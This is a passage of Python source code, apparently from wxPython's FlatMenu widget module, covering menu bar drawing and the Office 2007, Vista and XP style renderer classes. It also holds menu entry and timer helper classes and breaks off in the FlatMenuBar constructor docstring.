menubar._spacer)\n item.SetRect(copy)\n \n selected = False\n if item.GetState() == ControlFocus:\n self.DrawMenuBarButton(dc, button_rect, ControlFocus)\n dc.SetTextForeground(highlightTextColour)\n selected = True\n else:\n dc.SetTextForeground(textColour)\n\n ww, hh = dc.GetTextExtent(labelOnly)\n textOffset = (rect.width - ww) / 2\n\n if not menubar._isLCD and item.GetTextBitmap().Ok() and not selected:\n dc.DrawBitmap(item.GetTextBitmap(), rect.x, rect.y, True)\n elif not menubar._isLCD and item.GetSelectedTextBitmap().Ok() and selected:\n dc.DrawBitmap(item.GetSelectedTextBitmap(), rect.x, rect.y, True)\n else:\n if not menubar._isLCD:\n # Draw the text on a bitmap using memory dc, \n # so on following calls we will use this bitmap instead\n # of calculating everything from scratch\n bmp = wx.EmptyBitmap(rect.width, rect.height)\n memDc = wx.MemoryDC()\n memDc.SelectObject(bmp)\n if selected:\n memDc.SetTextForeground(highlightTextColour)\n else:\n memDc.SetTextForeground(textColour)\n\n # Fill the bitmap with the masking colour\n memDc.SetPen(wx.Pen(wx.Colour(255, 0, 0)) )\n memDc.SetBrush(wx.Brush(wx.Colour(255, 0, 0)) )\n memDc.DrawRectangle(0, 0, rect.width, rect.height)\n memDc.SetFont(fnt)\n\n if location == wx.NOT_FOUND or location >= len(fixedText):\n # draw the text\n if not menubar._isLCD:\n memDc.DrawText(title, textOffset, 0)\n dc.DrawText(title, rect.x + textOffset, rect.y)\n \n else:\n \n # underline the first '&'\n before = labelOnly[0:location]\n underlineLetter = labelOnly[location] \n after = labelOnly[location+1:]\n\n # before\n if not menubar._isLCD:\n memDc.DrawText(before, textOffset, 0)\n dc.DrawText(before, rect.x + textOffset, rect.y)\n\n # underlineLetter\n if \"__WXGTK__\" not in wx.Platform:\n w1, h = dc.GetTextExtent(before)\n fnt.SetUnderlined(True)\n dc.SetFont(fnt)\n dc.DrawText(underlineLetter, rect.x + w1 + textOffset, rect.y)\n if not menubar._isLCD:\n memDc.SetFont(fnt)\n memDc.DrawText(underlineLetter, textOffset + w1, 0)\n \n else:\n w1, h = dc.GetTextExtent(before)\n dc.DrawText(underlineLetter, rect.x + w1 + textOffset, rect.y)\n if not menubar._isLCD:\n memDc.DrawText(underlineLetter, textOffset + w1, 0)\n\n # Draw the underline ourselves since using the Underline in GTK, \n # causes the line to be too close to the letter\n \n uderlineLetterW, uderlineLetterH = dc.GetTextExtent(underlineLetter)\n dc.DrawLine(rect.x + w1 + textOffset, rect.y + uderlineLetterH - 2,\n rect.x + w1 + textOffset + uderlineLetterW, rect.y + uderlineLetterH - 2)\n\n # after\n w2, h = dc.GetTextExtent(underlineLetter)\n fnt.SetUnderlined(False)\n dc.SetFont(fnt) \n dc.DrawText(after, rect.x + w1 + w2 + textOffset, rect.y)\n if not menubar._isLCD:\n memDc.SetFont(fnt)\n memDc.DrawText(after, w1 + w2 + textOffset, 0)\n\n if not menubar._isLCD:\n memDc.SelectObject(wx.NullBitmap)\n # Set masking colour to the bitmap\n bmp.SetMask(wx.Mask(bmp, wx.Colour(255, 0, 0)))\n if selected:\n item.SetSelectedTextBitmap(bmp) \n else:\n item.SetTextBitmap(bmp) \n \n posx += rect.width + padding # + menubar._spacer\n\n # Get a backgroud image of the more menu button\n moreMenubtnBgBmpRect = wx.Rect(*menubar.GetMoreMenuButtonRect())\n if not menubar._moreMenuBgBmp:\n menubar._moreMenuBgBmp = wx.EmptyBitmap(moreMenubtnBgBmpRect.width, moreMenubtnBgBmpRect.height)\n\n if menubar._showToolbar and len(menubar._tbButtons) > 0:\n rectX = 0\n rectWidth = clientRect.width - moreMenubtnBgBmpRect.width \n if len(menubar._items) == 0:\n rectHeight = clientRect.height\n rectY = 0\n else:\n rectHeight = clientRect.height - menubar._menuBarHeight\n rectY = menubar._menuBarHeight\n rr = wx.Rect(rectX, rectY, rectWidth, rectHeight)\n self.DrawToolBarBg(dc, rr)\n menubar.DrawToolbar(dc, rr)\n\n if menubar._showCustomize or menubar.GetInvisibleMenuItemCount() > 0 or menubar.GetInvisibleToolbarItemCount() > 0:\n memDc = wx.MemoryDC()\n memDc.SelectObject(menubar._moreMenuBgBmp)\n try:\n memDc.Blit(0, 0, menubar._moreMenuBgBmp.GetWidth(), menubar._moreMenuBgBmp.GetHeight(), dc,\n moreMenubtnBgBmpRect.x, moreMenubtnBgBmpRect.y)\n except:\n pass\n memDc.SelectObject(wx.NullBitmap)\n\n # Draw the drop down arrow button\n menubar.DrawMoreButton(dc, 0, menubar._dropDownButtonState)\n # Set the button rect\n menubar._dropDownButtonArea = moreMenubtnBgBmpRect\n\n \n def DrawMenu(self, flatmenu, dc):\n \"\"\"\n Draws the menu.\n\n :param `flatmenu`: the L{FlatMenu} instance we need to paint;\n :param `dc`: an instance of `wx.DC`.\n \"\"\"\n \n menuRect = flatmenu.GetClientRect()\n menuBmp = wx.EmptyBitmap(menuRect.width, menuRect.height)\n\n mem_dc = wx.MemoryDC()\n mem_dc.SelectObject(menuBmp)\n\n # colour the menu face with background colour\n backColour = self.menuFaceColour\n penColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_BTNSHADOW)\n\n backBrush = wx.Brush(backColour)\n pen = wx.Pen(penColour)\n\n mem_dc.SetPen(pen)\n mem_dc.SetBrush(backBrush)\n mem_dc.DrawRectangleRect(menuRect)\n \n # draw items\n posy = 3\n nItems = len(flatmenu._itemsArr)\n\n # make all items as non-visible first\n for item in flatmenu._itemsArr:\n item.Show(False)\n\n visibleItems = 0\n screenHeight = wx.SystemSettings_GetMetric(wx.SYS_SCREEN_Y)\n\n numCols = flatmenu.GetNumberColumns()\n switch, posx, index = 1e6, 0, 0\n if numCols > 1:\n switch = int(math.ceil((nItems - flatmenu._first)/float(numCols)))\n \n # If we have to scroll and are not using the scroll bar buttons we need to draw\n # the scroll up menu item at the top.\n if not self.scrollBarButtons and flatmenu._showScrollButtons:\n posy += flatmenu.GetItemHeight()\n \n for nCount in xrange(flatmenu._first, nItems):\n\n visibleItems += 1\n item = flatmenu._itemsArr[nCount]\n self.DrawMenuItem(item, mem_dc,\n posx,\n posy, \n flatmenu._imgMarginX,\n flatmenu._markerMarginX,\n flatmenu._textX, \n flatmenu._rightMarginPosX,\n nCount == flatmenu._selectedItem \n )\n posy += item.GetHeight()\n item.Show()\n \n if visibleItems >= switch:\n posy = 2\n index += 1\n posx = flatmenu._menuWidth*index\n visibleItems = 0\n\n # make sure we draw only visible items\n pp = flatmenu.ClientToScreen(wx.Point(0, posy))\n \n menuBottom = (self.scrollBarButtons and [pp.y] or [pp.y + flatmenu.GetItemHeight()*2])[0]\n \n if menuBottom > screenHeight:\n break\n\n if flatmenu._showScrollButtons:\n if flatmenu._upButton:\n flatmenu._upButton.Draw(mem_dc)\n if flatmenu._downButton:\n flatmenu._downButton.Draw(mem_dc)\n\n dc.Blit(0, 0, menuBmp.GetWidth(), menuBmp.GetHeight(), mem_dc, 0, 0)\n\n \n# ---------------------------------------------------------------------------- #\n# Class FMRendererMSOffice2007\n# ---------------------------------------------------------------------------- #\n\nclass FMRendererMSOffice2007(FMRenderer):\n \"\"\" Windows Office 2007 style. \"\"\"\n \n def __init__(self):\n \"\"\" Default class constructor. \"\"\"\n\n FMRenderer.__init__(self)\n \n self.drawLeftMargin = True\n self.separatorHeight = 3\n self.highlightCheckAndRadio = True\n self.scrollBarButtons = True # Display scrollbar buttons if the menu doesn't fit on the screen\n \n self.menuBarFaceColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DFACE)\n \n self.buttonBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.buttonFaceColour = ArtManager.Get().LightColour(self.buttonBorderColour, 75)\n self.buttonFocusBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.buttonFocusFaceColour = ArtManager.Get().LightColour(self.buttonFocusBorderColour, 75)\n self.buttonPressedBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.buttonPressedFaceColour = ArtManager.Get().LightColour(self.buttonPressedBorderColour, 60)\n \n self.menuFocusBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.menuFocusFaceColour = ArtManager.Get().LightColour(self.buttonFocusBorderColour, 75)\n self.menuPressedBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.menuPressedFaceColour = ArtManager.Get().LightColour(self.buttonPressedBorderColour, 60)\n \n self.menuBarFocusBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.menuBarFocusFaceColour = ArtManager.Get().LightColour(self.buttonFocusBorderColour, 75)\n self.menuBarPressedBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.menuBarPressedFaceColour = ArtManager.Get().LightColour(self.buttonPressedBorderColour, 60)\n\n\n def DrawLeftMargin(self, item, dc, menuRect):\n \"\"\"\n Draws the menu left margin.\n\n :param `dc`: an instance of `wx.DC`;\n :param `menuRect`: the menu client rectangle.\n \"\"\"\n\n # Construct the margin rectangle\n marginRect = wx.Rect(menuRect.x+1, menuRect.y, item._parentMenu.GetLeftMarginWidth(), menuRect.height)\n\n # Set the gradient colours\n artMgr = ArtManager.Get()\n faceColour = self.menuFaceColour\n \n dcsaver = DCSaver(dc)\n marginColour = artMgr.DarkColour(faceColour, 5)\n dc.SetPen(wx.Pen(marginColour))\n dc.SetBrush(wx.Brush(marginColour))\n dc.DrawRectangleRect(marginRect)\n\n dc.SetPen(wx.WHITE_PEN)\n dc.DrawLine(marginRect.x + marginRect.width, marginRect.y, marginRect.x + marginRect.width, marginRect.y + marginRect.height)\n\n borderColour = artMgr.DarkColour(faceColour, 10)\n dc.SetPen(wx.Pen(borderColour))\n dc.DrawLine(marginRect.x + marginRect.width-1, marginRect.y, marginRect.x + marginRect.width-1, marginRect.y + marginRect.height)\n\n\n def DrawMenuButton(self, dc, rect, state):\n \"\"\"\n Draws the highlight on a L{FlatMenu}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button's client rectangle;\n :param `state`: the button state.\n \"\"\"\n \n self.DrawButton(dc, rect, state)\n\n \n def DrawMenuBarButton(self, dc, rect, state):\n \"\"\"\n Draws the highlight on a L{FlatMenuBar}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button's client rectangle;\n :param `state`: the button state.\n \"\"\"\n \n self.DrawButton(dc, rect, state)\n\n \n def DrawButton(self, dc, rect, state, colour=None):\n \"\"\"\n Draws a button using the Office 2007 theme.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button's client rectangle;\n :param `state`: the button state;\n :param `colour`: a valid `wx.Colour` instance.\n \"\"\"\n\n colour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n colour = ArtManager.Get().LightColour(colour, 30)\n self.DrawButtonColour(dc, rect, state, colour)\n\n\n def DrawButtonColour(self, dc, rect, state, colour):\n \"\"\"\n Draws a button using the Office 2007 theme.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button's client rectangle;\n :param `state`: the button state;\n :param `colour`: a valid `wx.Colour` instance.\n \"\"\"\n\n artMgr = ArtManager.Get()\n \n # Keep old pen and brush\n dcsaver = DCSaver(dc)\n \n # Define the rounded rectangle base on the given rect\n # we need an array of 9 points for it \n baseColour = colour\n\n # Define the middle points\n leftPt = wx.Point(rect.x, rect.y + (rect.height / 2))\n rightPt = wx.Point(rect.x + rect.width-1, rect.y + (rect.height / 2))\n\n # Define the top region\n top = wx.RectPP((rect.GetLeft(), rect.GetTop()), rightPt)\n bottom = wx.RectPP(leftPt, (rect.GetRight(), rect.GetBottom()))\n\n upperBoxTopPercent, upperBoxBottomPercent, lowerBoxTopPercent, lowerBoxBottomPercent, \\\n concaveUpperBox, concaveLowerBox = self.GetColoursAccordingToState(state)\n\n topStartColour = artMgr.LightColour(baseColour, upperBoxTopPercent)\n topEndColour = artMgr.LightColour(baseColour, upperBoxBottomPercent)\n bottomStartColour = artMgr.LightColour(baseColour, lowerBoxTopPercent)\n bottomEndColour = artMgr.LightColour(baseColour, lowerBoxBottomPercent)\n\n artMgr.PaintStraightGradientBox(dc, top, topStartColour, topEndColour)\n artMgr.PaintStraightGradientBox(dc, bottom, bottomStartColour, bottomEndColour)\n\n rr = wx.Rect(rect.x, rect.y, rect.width, rect.height)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n\n frameColour = artMgr.LightColour(baseColour, 60)\n dc.SetPen(wx.Pen(frameColour))\n dc.DrawRectangleRect(rr)\n\n wc = artMgr.LightColour(baseColour, 80)\n dc.SetPen(wx.Pen(wc))\n rr.Deflate(1, 1)\n dc.DrawRectangleRect(rr)\n\n\n def DrawMenuBarBackground(self, dc, rect):\n \"\"\"\n Draws the menu bar background according to the active theme.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the menu bar's client rectangle.\n \"\"\"\n\n # Keep old pen and brush\n dcsaver = DCSaver(dc)\n artMgr = ArtManager.Get()\n baseColour = self.menuBarFaceColour\n\n dc.SetBrush(wx.Brush(wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DFACE)))\n dc.SetPen(wx.Pen(wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DFACE)))\n dc.DrawRectangleRect(rect)\n\n # Define the rounded rectangle base on the given rect\n # we need an array of 9 points for it\n regPts = [wx.Point() for ii in xrange(9)]\n radius = 2\n \n regPts[0] = wx.Point(rect.x, rect.y + radius)\n regPts[1] = wx.Point(rect.x+radius, rect.y)\n regPts[2] = wx.Point(rect.x+rect.width-radius-1, rect.y)\n regPts[3] = wx.Point(rect.x+rect.width-1, rect.y + radius)\n regPts[4] = wx.Point(rect.x+rect.width-1, rect.y + rect.height - radius - 1)\n regPts[5] = wx.Point(rect.x+rect.width-radius-1, rect.y + rect.height-1)\n regPts[6] = wx.Point(rect.x+radius, rect.y + rect.height-1)\n regPts[7] = wx.Point(rect.x, rect.y + rect.height - radius - 1)\n regPts[8] = regPts[0]\n\n # Define the middle points\n\n factor = artMgr.GetMenuBgFactor()\n \n leftPt1 = wx.Point(rect.x, rect.y + (rect.height / factor))\n leftPt2 = wx.Point(rect.x, rect.y + (rect.height / factor)*(factor-1))\n\n rightPt1 = wx.Point(rect.x + rect.width, rect.y + (rect.height / factor))\n rightPt2 = wx.Point(rect.x + rect.width, rect.y + (rect.height / factor)*(factor-1))\n\n # Define the top region\n topReg = [wx.Point() for ii in xrange(7)]\n topReg[0] = regPts[0]\n topReg[1] = regPts[1]\n topReg[2] = wx.Point(regPts[2].x+1, regPts[2].y)\n topReg[3] = wx.Point(regPts[3].x + 1, regPts[3].y)\n topReg[4] = wx.Point(rightPt1.x, rightPt1.y+1)\n topReg[5] = wx.Point(leftPt1.x, leftPt1.y+1)\n topReg[6] = topReg[0]\n\n # Define the middle region\n middle = wx.RectPP(leftPt1, wx.Point(rightPt2.x - 2, rightPt2.y))\n \n # Define the bottom region\n bottom = wx.RectPP(leftPt2, wx.Point(rect.GetRight() - 1, rect.GetBottom()))\n\n topStartColour = artMgr.LightColour(baseColour, 90)\n topEndColour = artMgr.LightColour(baseColour, 60)\n bottomStartColour = artMgr.LightColour(baseColour, 40)\n bottomEndColour = artMgr.LightColour(baseColour, 20)\n \n topRegion = wx.RegionFromPoints(topReg)\n\n artMgr.PaintGradientRegion(dc, topRegion, topStartColour, topEndColour)\n artMgr.PaintStraightGradientBox(dc, bottom, bottomStartColour, bottomEndColour)\n artMgr.PaintStraightGradientBox(dc, middle, topEndColour, bottomStartColour)\n \n\n def DrawToolBarBg(self, dc, rect):\n \"\"\"\n Draws the toolbar background according to the active theme.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the toolbar's client rectangle.\n \"\"\"\n\n artMgr = ArtManager.Get()\n \n if not artMgr.GetRaiseToolbar():\n return\n\n # Keep old pen and brush\n dcsaver = DCSaver(dc)\n \n baseColour = self.menuBarFaceColour\n baseColour = artMgr.LightColour(baseColour, 20)\n\n dc.SetBrush(wx.Brush(wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DFACE)))\n dc.SetPen(wx.Pen(wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DFACE)))\n dc.DrawRectangleRect(rect)\n\n radius = 2\n \n # Define the rounded rectangle base on the given rect\n # we need an array of 9 points for it\n regPts = [None]*9\n \n regPts[0] = wx.Point(rect.x, rect.y + radius)\n regPts[1] = wx.Point(rect.x+radius, rect.y)\n regPts[2] = wx.Point(rect.x+rect.width-radius-1, rect.y)\n regPts[3] = wx.Point(rect.x+rect.width-1, rect.y + radius)\n regPts[4] = wx.Point(rect.x+rect.width-1, rect.y + rect.height - radius - 1)\n regPts[5] = wx.Point(rect.x+rect.width-radius-1, rect.y + rect.height-1)\n regPts[6] = wx.Point(rect.x+radius, rect.y + rect.height-1)\n regPts[7] = wx.Point(rect.x, rect.y + rect.height - radius - 1)\n regPts[8] = regPts[0]\n\n # Define the middle points\n factor = artMgr.GetMenuBgFactor()\n\n leftPt1 = wx.Point(rect.x, rect.y + (rect.height / factor))\n rightPt1 = wx.Point(rect.x + rect.width, rect.y + (rect.height / factor))\n \n leftPt2 = wx.Point(rect.x, rect.y + (rect.height / factor)*(factor-1))\n rightPt2 = wx.Point(rect.x + rect.width, rect.y + (rect.height / factor)*(factor-1))\n\n # Define the top region\n topReg = [None]*7\n topReg[0] = regPts[0]\n topReg[1] = regPts[1]\n topReg[2] = wx.Point(regPts[2].x+1, regPts[2].y)\n topReg[3] = wx.Point(regPts[3].x + 1, regPts[3].y)\n topReg[4] = wx.Point(rightPt1.x, rightPt1.y+1)\n topReg[5] = wx.Point(leftPt1.x, leftPt1.y+1)\n topReg[6] = topReg[0]\n\n # Define the middle region\n middle = wx.RectPP(leftPt1, wx.Point(rightPt2.x - 2, rightPt2.y))\n\n # Define the bottom region\n bottom = wx.RectPP(leftPt2, wx.Point(rect.GetRight() - 1, rect.GetBottom()))\n \n topStartColour = artMgr.LightColour(baseColour, 90)\n topEndColour = artMgr.LightColour(baseColour, 60)\n bottomStartColour = artMgr.LightColour(baseColour, 40)\n bottomEndColour = artMgr.LightColour(baseColour, 20)\n \n topRegion = wx.RegionFromPoints(topReg)\n\n artMgr.PaintGradientRegion(dc, topRegion, topStartColour, topEndColour)\n artMgr.PaintStraightGradientBox(dc, bottom, bottomStartColour, bottomEndColour)\n artMgr.PaintStraightGradientBox(dc, middle, topEndColour, bottomStartColour)\n\n artMgr.DrawBitmapShadow(dc, rect)\n\n\n def GetTextColourEnable(self):\n \"\"\" Returns the colour used for text colour when enabled. \"\"\"\n\n return wx.NamedColour(\"MIDNIGHT BLUE\")\n \n\n# ---------------------------------------------------------------------------- #\n# Class FMRendererVista\n# ---------------------------------------------------------------------------- #\n\nclass FMRendererVista(FMRendererMSOffice2007):\n \"\"\" Windows Vista-like style. \"\"\"\n \n def __init__(self):\n \"\"\" Default class constructor. \"\"\"\n\n FMRendererMSOffice2007.__init__(self)\n\n\n def DrawButtonColour(self, dc, rect, state, colour):\n \"\"\"\n Draws a button using the Vista theme.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the button's client rectangle;\n :param `state`: the button state;\n :param `colour`: a valid `wx.Colour` instance.\n \"\"\"\n\n artMgr = ArtManager.Get()\n \n # Keep old pen and brush\n dcsaver = DCSaver(dc)\n\n outer = rgbSelectOuter\n inner = rgbSelectInner\n top = rgbSelectTop\n bottom = rgbSelectBottom\n\n bdrRect = wx.Rect(*rect)\n filRect = wx.Rect(*rect)\n filRect.Deflate(1,1)\n \n r1, g1, b1 = int(top.Red()), int(top.Green()), int(top.Blue())\n r2, g2, b2 = int(bottom.Red()), int(bottom.Green()), int(bottom.Blue())\n dc.GradientFillLinear(filRect, top, bottom, wx.SOUTH)\n \n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.SetPen(wx.Pen(outer))\n dc.DrawRoundedRectangleRect(bdrRect, 3)\n bdrRect.Deflate(1, 1)\n dc.SetPen(wx.Pen(inner))\n dc.DrawRoundedRectangleRect(bdrRect, 2)\n\n \n# ---------------------------------------------------------------------------- #\n# Class FMRendererXP\n# ---------------------------------------------------------------------------- #\n\nclass FMRendererXP(FMRenderer):\n \"\"\" Xp-Style renderer. \"\"\"\n \n def __init__(self):\n \"\"\" Default class constructor. \"\"\"\n\n FMRenderer.__init__(self)\n \n self.drawLeftMargin = True\n self.separatorHeight = 3\n self.highlightCheckAndRadio = True\n self.scrollBarButtons = True # Display scrollbar buttons if the menu doesn't fit on the screen\n \n self.buttonBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.buttonFaceColour = ArtManager.Get().LightColour(self.buttonBorderColour, 75)\n self.buttonFocusBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.buttonFocusFaceColour = ArtManager.Get().LightColour(self.buttonFocusBorderColour, 75)\n self.buttonPressedBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.buttonPressedFaceColour = ArtManager.Get().LightColour(self.buttonPressedBorderColour, 60)\n \n self.menuFocusBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.menuFocusFaceColour = ArtManager.Get().LightColour(self.buttonFocusBorderColour, 75)\n self.menuPressedBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.menuPressedFaceColour = ArtManager.Get().LightColour(self.buttonPressedBorderColour, 60)\n \n self.menuBarFocusBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.menuBarFocusFaceColour = ArtManager.Get().LightColour(self.buttonFocusBorderColour, 75)\n self.menuBarPressedBorderColour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_ACTIVECAPTION)\n self.menuBarPressedFaceColour = ArtManager.Get().LightColour(self.buttonPressedBorderColour, 60)\n\n\n def DrawLeftMargin(self, item, dc, menuRect):\n \"\"\"\n Draws the menu left margin.\n\n :param `dc`: an instance of `wx.DC`;\n :param `menuRect`: the menu client rectangle.\n \"\"\"\n\n # Construct the margin rectangle\n marginRect = wx.Rect(menuRect.x+1, menuRect.y, item._parentMenu.GetLeftMarginWidth(), menuRect.height)\n\n # Set the gradient colours\n artMgr = ArtManager.Get()\n faceColour = self.menuFaceColour\n \n startColour = artMgr.DarkColour(faceColour, 20)\n endColour = faceColour\n artMgr.PaintStraightGradientBox(dc, marginRect, startColour, endColour, False)\n\n\n def DrawMenuBarBackground(self, dc, rect):\n \"\"\"\n Draws the menu bar background according to the active theme.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the menu bar's client rectangle.\n \"\"\"\n\n # For office style, we simple draw a rectangle with a gradient colouring\n artMgr = ArtManager.Get()\n vertical = artMgr.GetMBVerticalGradient()\n\n dcsaver = DCSaver(dc)\n\n # fill with gradient\n startColour = artMgr.GetMenuBarFaceColour()\n if artMgr.IsDark(startColour):\n startColour = artMgr.LightColour(startColour, 50)\n\n endColour = artMgr.LightColour(startColour, 90)\n artMgr.PaintStraightGradientBox(dc, rect, startColour, endColour, vertical)\n\n # Draw the border\n if artMgr.GetMenuBarBorder():\n\n dc.SetPen(wx.Pen(startColour))\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangleRect(rect)\n\n\n def DrawToolBarBg(self, dc, rect):\n \"\"\"\n Draws the toolbar background according to the active theme.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the toolbar's client rectangle.\n \"\"\"\n\n artMgr = ArtManager.Get()\n \n if not artMgr.GetRaiseToolbar():\n return\n\n # For office style, we simple draw a rectangle with a gradient colouring\n vertical = artMgr.GetMBVerticalGradient()\n\n dcsaver = DCSaver(dc)\n\n # fill with gradient\n startColour = artMgr.GetMenuBarFaceColour()\n if artMgr.IsDark(startColour):\n startColour = artMgr.LightColour(startColour, 50)\n \n startColour = artMgr.LightColour(startColour, 20)\n\n endColour = artMgr.LightColour(startColour, 90)\n artMgr.PaintStraightGradientBox(dc, rect, startColour, endColour, vertical)\n artMgr.DrawBitmapShadow(dc, rect)\n\n\n def GetTextColourEnable(self):\n \"\"\" Returns the colour used for text colour when enabled. \"\"\"\n\n return wx.BLACK\n\n\n# ---------------------------------------------------------------------------- #\n# Class FlatMenuEvent\n# ---------------------------------------------------------------------------- #\n\nclass FlatMenuEvent(wx.PyCommandEvent):\n \"\"\"\n Event class that supports the L{FlatMenu}-compatible event called\n ``EVT_FLAT_MENU_SELECTED``.\n \"\"\"\n \n def __init__(self, eventType, eventId=1, nSel=-1, nOldSel=-1):\n \"\"\"\n Default class constructor.\n\n :param `eventType`: the event type;\n :param `eventId`: the event identifier;\n :param `nSel`: the current selection;\n :param `nOldSel`: the old selection.\n \"\"\"\n\n wx.PyCommandEvent.__init__(self, eventType, eventId)\n self._eventType = eventType\n\n\n# ---------------------------------------------------------------------------- #\n# Class MenuEntryInfo\n# ---------------------------------------------------------------------------- #\n\nclass MenuEntryInfo(object):\n \"\"\"\n Internal class which holds information about a menu.\n \"\"\"\n\n def __init__(self, titleOrMenu=\"\", menu=None, state=ControlNormal, cmd=wx.ID_ANY):\n \"\"\"\n Default class constructor.\n\n Used internally. Do not call it in your code!\n\n :param `titleOrMenu`: if it is a string, it represents the new menu label,\n otherwise it is another instance of L{MenuEntryInfo} from which the attributes\n are copied;\n :param `menu`: the associated L{FlatMenu} object;\n :param `state`: the menu item state. This can be one of the following:\n\n ==================== ======= ==========================\n Item State Value Description\n ==================== ======= ========================== \n ``ControlPressed`` 0 The item is pressed\n ``ControlFocus`` 1 The item is focused\n ``ControlDisabled`` 2 The item is disabled\n ``ControlNormal`` 3 Normal state\n ==================== ======= ==========================\n\n :param `cmd`: the menu accelerator identifier.\n \"\"\"\n\n if isinstance(titleOrMenu, basestring):\n\n self._title = titleOrMenu\n self._menu = menu\n\n self._rect = wx.Rect()\n self._state = state\n if cmd == wx.ID_ANY:\n cmd = wx.NewId()\n \n self._cmd = cmd # the menu itself accelerator id\n\n else:\n \n self._title = titleOrMenu._title\n self._menu = titleOrMenu._menu\n self._rect = titleOrMenu._rect\n self._state = titleOrMenu._state\n self._cmd = titleOrMenu._cmd\n\n self._textBmp = wx.NullBitmap\n self._textSelectedBmp = wx.NullBitmap\n \n\n def GetTitle(self):\n \"\"\" Returns the associated menu title. \"\"\"\n\n return self._title \n \n\n def GetMenu(self):\n \"\"\" Returns the associated menu. \"\"\"\n \n return self._menu \n \n\n def SetRect(self, rect):\n \"\"\"\n Sets the associated menu client rectangle.\n\n :param `rect`: an instance of `wx.Rect`, representing the menu client rectangle.\n \"\"\"\n\n self._rect = rect\n\n\n def GetRect(self):\n \"\"\" Returns the associated menu client rectangle. \"\"\"\n\n return self._rect\n \n\n def SetState(self, state):\n \"\"\"\n Sets the associated menu state.\n\n :param `state`: the menu item state. This can be one of the following:\n\n ==================== ======= ==========================\n Item State Value Description\n ==================== ======= ========================== \n ``ControlPressed`` 0 The item is pressed\n ``ControlFocus`` 1 The item is focused\n ``ControlDisabled`` 2 The item is disabled\n ``ControlNormal`` 3 Normal state\n ==================== ======= ==========================\n \"\"\"\n\n self._state = state\n\n\n def GetState(self):\n \"\"\"\n Returns the associated menu state.\n\n :see: L{SetState} for a list of valid menu states.\n \"\"\"\n\n return self._state\n \n\n def SetTextBitmap(self, bmp):\n \"\"\"\n Sets the associated menu bitmap.\n\n :param `bmp`: a valid `wx.Bitmap` object.\n \"\"\"\n\n self._textBmp = bmp\n \n def SetSelectedTextBitmap(self, bmp):\n \"\"\"\n Sets the associated selected menu bitmap.\n\n :param `bmp`: a valid `wx.Bitmap` object.\n \"\"\"\n\n self._textSelectedBmp = bmp\n \n\n def GetTextBitmap(self):\n \"\"\" Returns the associated menu bitmap. \"\"\"\n\n return self._textBmp\n \n def GetSelectedTextBitmap(self):\n \"\"\" Returns the associated selected menu bitmap. \"\"\"\n\n return self._textSelectedBmp\n\n \n def GetCmdId(self):\n \"\"\" Returns the associated menu accelerator identifier. \"\"\"\n\n return self._cmd\n\n\n# ---------------------------------------------------------------------------- #\n# Class StatusBarTimer\n# ---------------------------------------------------------------------------- #\n\nclass StatusBarTimer(wx.Timer):\n \"\"\" Timer used for deleting `wx.StatusBar` long help after ``_DELAY`` seconds. \"\"\"\n\n def __init__(self, owner):\n \"\"\"\n Default class constructor.\n For internal use: do not call it in your code!\n\n :param `owner`: the `wx.Timer` owner (L{FlatMenuBar}).\n \"\"\"\n \n wx.Timer.__init__(self)\n self._owner = owner \n\n\n def Notify(self):\n \"\"\" The timer has expired. \"\"\"\n\n self._owner.OnStatusBarTimer()\n\n\n# ---------------------------------------------------------------------------- #\n# Class FlatMenuBar\n# ---------------------------------------------------------------------------- #\n\nclass FlatMenuBar(wx.Panel):\n \"\"\"\n Implements the generic owner-drawn menu bar for L{FlatMenu}.\n \"\"\"\n\n def __init__(self, parent, id=wx.ID_ANY, iconSize=SmallIcons,\n spacer=SPACER, options=FM_OPT_SHOW_CUSTOMIZE|FM_OPT_IS_LCD):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the menu bar parent\n :param `id`: the window identifier. If ``wx.ID_ANY``, will automatically create an identifier;\n :param `iconSize`: size of the icons in the toolbar. This can be one of the\n following values (in pixels):\n\n ==================== ======= =============================\n `iconSize` Bit Value Description\n ==================== ======= =============================\n ``LargeIcons`` 32 Use large 32x32 icons\n ``SmallIcons`` 16 Use standard 16x16 icons\n ==================== ======= =============================\n \n :param `spacer`: the space between the menu bar text and the menu bar border;\n :param `options`: a combination of the following 